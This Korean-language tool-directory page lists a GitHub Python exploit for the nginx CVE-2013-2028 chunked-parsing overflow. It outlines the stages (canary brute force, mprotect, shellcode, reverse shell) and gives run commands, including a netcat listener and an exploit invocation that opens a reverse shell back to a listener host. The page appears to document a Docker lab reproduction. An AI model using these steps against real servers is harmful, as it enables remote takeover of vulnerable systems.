Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2013-2028-Exploit — CVE-2013-2028 python exploit | Kitploit
도구/GitHubGitHub/m4drat/cve-2013-2028-exploit
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubm4drat/cve-2013-2028-exploit

CVE-2013-2028-Exploit

CVE-2013-2028 python exploit

저장소 보기
1926년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2013-2028 익스플로잇

취약점 세부 사항

취약한 소프트웨어: Nginx 1.3.9 < 1.4.0
수정 커밋: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

취약점은 ngx_http_parse_chunked 함수에 존재합니다. 이 익스플로잇은 ngx_http_parse_chunked에서 정수 오버플로우를 발생시키고, 이후 이를 사용하여 스택을 오버플로우시켜 제어 흐름을 탈취합니다.

익스플로잇 상세

실제 익스플로잇은 4단계로 구성됩니다:

  1. 바이트 단위 무차별 대입을 통해 스택 카나리 값 찾기
  2. rcx 값(lpthread 내 어딘가를 가리킴)을 사용하여 mprotect 주소 계산. 적절한 인수로 mprotect 호출.
  3. 셸코드를 RWX 메모리 위치에 복사.
  4. 셸코드로 점프하여 리버스 셸 시작.

재현 방법

  1. 호스트 시스템에서 리스너 시작, 예: netcat 사용: nc -lvp 4345
  2. 가상 머신에서 도커 시작: sudo docker-compose up --build
  3. 익스플로잇 실행: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <리스너 머신 주소> -lp <리스너 머신 포트>
  4. 익스플로잇이 실제 카나리 값을 찾고 리버스 셸을 시작하도록 합니다.

Demo

도구 다운로드